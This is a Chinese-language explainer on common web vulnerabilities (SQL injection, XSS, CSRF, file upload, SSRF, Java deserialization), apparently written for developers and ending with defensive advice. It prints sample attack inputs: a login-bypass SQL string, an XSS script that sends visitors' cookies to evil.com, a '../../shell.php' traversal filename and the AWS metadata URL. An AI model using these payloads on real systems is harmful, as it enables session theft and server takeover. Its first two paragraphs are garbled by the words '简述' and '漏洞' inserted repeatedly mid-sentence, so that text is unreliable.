简述常见的web漏洞
2017年Equifax泄露了1.43亿人的简述数据,根因是漏洞一个没打补丁的Apache Struts框架。攻击者利用的简述漏洞叫CVE-2017-5638,本质上是漏洞Struts在处理Content-Type头时把用户输入当成了OGNL表达式执行。一个HTTP请求头,简述直接拿到服务器权限。漏洞这类事每年都在重复,简述只不过换了个组件名字。漏洞
SQL注入是简述最老的漏洞之一,但远没到退休的漏洞时候。原理很简单:后端把用户输入直接拼进SQL语句。简述比如登录框输入 ' OR 1=1 --,漏洞查询变成 SELECT * FROM users WHERE name='' OR 1=1 --',简述直接绕过认证。漏洞我见过一个电商站点的简述搜索接口,URL里加个单引号就报数据库错误——说明输入没过滤,错误信息也没关。这两个问题叠在一起,等于把数据库结构白送给攻击者。现在ORM框架用得多,注入面窄了,但手写SQL的地方依然是重灾区,尤其是报表和导出功能。
XSS(跨站脚本)分存储型和反射型。存储型更危险。假设一个论坛的评论没做HTML转义,攻击者发一条评论,内容里塞一段 <script>fetch('https://evil.com/steal?c='+document.cookie)</script>。所有浏览这条评论的人,cookie都会被发到攻击者服务器。如果站点没有HttpOnly标记,session直接被盗。反射型需要诱导点击,比如伪装成正常链接的钓鱼邮件。很多人觉得XSS只是弹个alert框,实际上它能做的事和CSRF配合起来,可以以受害者身份发帖、转账、改密码。
CSRF(跨站请求伪造)的逻辑不一样。它不偷你的数据,而是让你自己动手。你登录了银行网站,cookie还在。这时你打开一个恶意页面,页面里藏了一个自动提交的表单,向银行发转账请求。浏览器会自动带上你的cookie,银行以为是你的操作。防御手段主要是CSRF Token和SameSite Cookie属性。SameSite=Lax现在基本是浏览器默认值,能挡掉大部分跨站POST,但有些老系统没设,依然裸奔。
文件上传漏洞经常被低估。一个上传头像的功能,如果只检查了Content-Type,攻击者把PHP文件改成 image/jpeg 就能传上去。再配合路径穿越,比如文件名写成 ../../shell.php,文件就落到了Web目录。访问一下,服务器就是他的了。有些系统做了后缀白名单,但解析漏洞能绕过——比如 shell.php.jpg 在某些Apache配置下会被当成PHP执行。我的判断是:文件上传功能只要允许用户控制文件名或路径,就值得单独做一次安全评审。
SSRF(服务端请求伪造)这几年越来越受关注,因为云环境放大了它的危害。攻击者让服务器去请求内网地址,比如 http://169.254.169.254/latest/meta-data/,这是AWS的元数据接口,能拿到临时凭证。2019年Capital One的泄露就是SSRF加元数据服务组合出来的。防御SSRF比防SQL注入麻烦,因为URL的合法性判断要考虑DNS重绑定、302跳转、IPv6映射地址这些绕过手法。很多开发者只做了域名黑名单,根本不够用。
反序列化漏洞在Java生态里尤其致命。Java的ObjectInputStream在反序列化时会调用readObject方法,如果类路径里有CommonsCollections这类库,攻击者可以构造一条利用链,最终执行任意命令。WebLogic、JBoss、Shiro都出过反序列化漏洞。这类漏洞的修复往往不是改一行代码那么简单,需要升级组件、加白名单、甚至重构通信协议。我自己的经验是:看到 ObjectInputStream 出现在代码里,先标记为高风险。
这些漏洞有个共同点:根因都是信任了不该信任的输入。SQL注入信任了用户输入拼SQL,XSS信任了用户输入当HTML,SSRF信任了用户给的URL。防御思路也一致——在数据进入解释器之前做正确的编码或转义,在服务端做白名单校验。没有银弹,但把输入校验和输出编码做扎实,能挡掉大部分攻击。